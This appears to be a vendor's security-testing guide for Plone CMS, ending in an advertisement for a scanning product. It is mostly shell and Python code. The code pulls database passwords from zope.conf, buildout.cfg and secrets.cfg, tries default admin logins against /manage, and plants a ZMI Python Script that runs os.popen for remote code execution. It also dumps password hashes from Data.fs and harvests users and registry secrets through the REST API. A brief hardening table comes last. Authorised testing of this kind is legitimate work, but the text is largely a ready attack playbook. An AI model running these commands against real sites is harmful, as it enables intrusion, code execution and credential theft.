Plone CMS Security Testing: Default Credentials, API Key, Database, and CMS

Plone is a mature Python-based CMS built on the Zope application server, widely used in government, education, and enterprise. Key assessment areas: zope.conf or buildout.cfg exposes PostgreSQL or SQLite credentials; the Zope Management Interface (ZMI) at /manage provides unrestricted Python execution; acl_users stores SSHA or bcrypt password hashes; the Plone REST API at /plone/@users exposes user data; and Python Scripts in ZMI can execute arbitrary code with web server privileges. This guide covers systematic Plone CMS security assessment.

Table of Contents

  1. zope.conf and buildout.cfg Database Credential Extraction
  2. ZMI Access and Plone REST API Assessment
  3. acl_users ZODB Hash and Content Extraction
  4. Plone CMS Security Hardening

zope.conf and buildout.cfg Database Credential Extraction

# Plone CMS — zope.conf and buildout.cfg credential extraction
PLONE_URL="https://site.example.com"

# zope.conf — Zope database and server configuration
grep -E "rel-storage|dsn|password|user|host|dbname" \
  /var/www/plone/parts/instance/etc/zope.conf 2>/dev/null

python3 -c "
import re
cfg = open('/var/www/plone/parts/instance/etc/zope.conf').read()
# PostgreSQL RelStorage connection string (DSN format)
for m in re.finditer(r'dsn\s+(.+)', cfg):
    dsn = m.group(1).strip()
    pw = re.search(r'password=(\S+)', dsn)
    if pw: print(f'PostgreSQL password: {pw.group(1)[:60]}')

# ZEO client configuration (connects to FileStorage over network)
for m in re.finditer(r'server\s+(.+)', cfg):
    print(f'ZEO server: {m.group(1).strip()}')
" 2>/dev/null

# buildout.cfg — contains database passwords and secrets
grep -E "password|secret|key" /var/www/plone/buildout.cfg 2>/dev/null | head -10

# secrets.cfg (often gitignored but may exist on server)
cat /var/www/plone/secrets.cfg 2>/dev/null | head -20

# ZMI and Plone admin at /manage (Zope Management Interface)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${PLONE_URL}/manage" 2>/dev/null)
echo "/manage: HTTP ${STATUS}"

# Test default admin credentials
for CRED in "admin:admin" "admin:secret" "admin:plone"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${PLONE_URL}/manage" \
    -u "${USER}:${PASS}" 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

ZMI Access and Plone REST API Assessment

# Plone ZMI Python Script RCE and REST API assessment
PLONE_URL="https://site.example.com"
ADMIN_PASS="admin-password"

# ZMI Python Script — arbitrary Python code execution (if admin access)
# ZMI > Python Scripts > Add a new Script
# Script with import os; return os.popen('id').read()
curl -s -X POST "${PLONE_URL}/manage_addProduct/PythonScripts/manage_addPythonScript" \
  -u "admin:${ADMIN_PASS}" \
  -d "id=test_exec&title=Test&body=import+os%3Breturn+os.popen('id').read()&REQUEST_METHOD=POST" \
  2>/dev/null | head -5

# Execute the script
curl -s "${PLONE_URL}/test_exec" \
  -u "admin:${ADMIN_PASS}" 2>/dev/null | head -3

# Plone REST API v1 — content and user enumeration
# GET /@users returns all users (admin auth required)
curl -s "${PLONE_URL}/plone/@users" \
  -u "admin:${ADMIN_PASS}" \
  -H "Accept: application/json" 2>/dev/null | \
  python3 -c "
import json, sys
d = json.load(sys.stdin)
for u in d.get('items', []):
    print(f'  {u.get(\"id\")} — {u.get(\"fullname\")} — roles: {u.get(\"roles\")}')
" 2>/dev/null

# Plone @registry API — site configuration including secret keys
curl -s "${PLONE_URL}/plone/@registry" \
  -u "admin:${ADMIN_PASS}" \
  -H "Accept: application/json" 2>/dev/null | \
  python3 -c "
import json, sys
d = json.load(sys.stdin)
items = d.get('items', [])
for item in items:
    if any(k in item.get('name','').lower() for k in ['secret','key','password','token']):
        print(f'{item[\"name\"]}: {str(item.get(\"value\",\"\"))[:60]}')
" 2>/dev/null

acl_users ZODB Hash and Content Extraction

# Plone CMS — acl_users ZODB hash extraction and content analysis
ADMIN_PASS="admin-password"
PLONE_URL="https://site.example.com"

# ZODB file — Data.fs contains all Plone objects including credentials
# Direct extraction requires server filesystem access
python3 -c "
import ZODB, ZODB.FileStorage, transaction
storage = ZODB.FileStorage.FileStorage('/var/www/plone/var/filestorage/Data.fs')
db = ZODB.DB(storage)
conn = db.open()
root = conn.root()

app = root.get('Application', root)
try:
    acl_users = app['acl_users']
    # Plone uses PluggableAuthService (PAS)
    source = acl_users.get('source_users', acl_users.get('users'))
    if source and hasattr(source, '_user_passwords'):
        for uid, pw_hash in source._user_passwords.items():
            print(f'  {uid}: {str(pw_hash)[:60]}')
except Exception as e:
    print(f'error: {e}')
conn.close()
db.close()
" 2>/dev/null

# Plone REST API — user list with roles
curl -s "${PLONE_URL}/plone/@users?b_size=100" \
  -u "admin:${ADMIN_PASS}" \
  -H "Accept: application/json" 2>/dev/null | \
  python3 -c "
import json, sys
d = json.load(sys.stdin)
for u in d.get('items', []):
    roles = u.get('roles', [])
    print(f'{u[\"id\"]} | {u.get(\"fullname\",\"\")} | {u.get(\"email\",\"\")} | {roles}')
" 2>/dev/null

# Plone @groups — group membership and roles
curl -s "${PLONE_URL}/plone/@groups" \
  -u "admin:${ADMIN_PASS}" \
  -H "Accept: application/json" 2>/dev/null | head -10

Plone CMS Security Hardening

Plone CMS Security Hardening Checklist:
Security TestMethodRisk
ZMI /manage Python Script arbitrary code executionAccess /manage with admin credentials → create Python Script → import os; os.popen('id').read(); full RCE as Zope process userCritical
zope.conf RelStorage PostgreSQL DSN password extractionRead /var/www/plone/parts/instance/etc/zope.conf — dsn password= field; full database access to Plone content and usersCritical
acl_users SSHA or bcrypt hash extraction from ZODB Data.fsOpen Data.fs with ZODB library → traverse acl_users → extract _user_passwords dict; SSHA (SHA-1+salt) GPU-crackable, bcrypt resistantHigh
Plone REST API /plone/@users user enumeration with rolesGET /plone/@users with admin Basic Auth — enumerate all users, email addresses, full names, and role assignments including Manager role holdersHigh
Plone @registry sensitive configuration key extractionGET /plone/@registry with admin auth — API keys, service tokens, and integration credentials stored in Plone registry recordsMedium

Automate Plone CMS Security Testing

Ironimo tests Plone CMS deployments for ZMI /manage web accessibility and IP restriction verification, zope.conf RelStorage PostgreSQL DSN password extraction, buildout.cfg and secrets.cfg credential exposure, default admin credential testing (admin/admin, admin/secret, admin/plone), Python Script RCE via authenticated ZMI access, acl_users ZODB SSHA or bcrypt hash extraction from Data.fs, Plone REST API /plone/@users user and role enumeration, @registry sensitive configuration key audit, inituser emergency user file detection, and Plone/add-on version disclosure for CVE cross-referencing.

Start free scan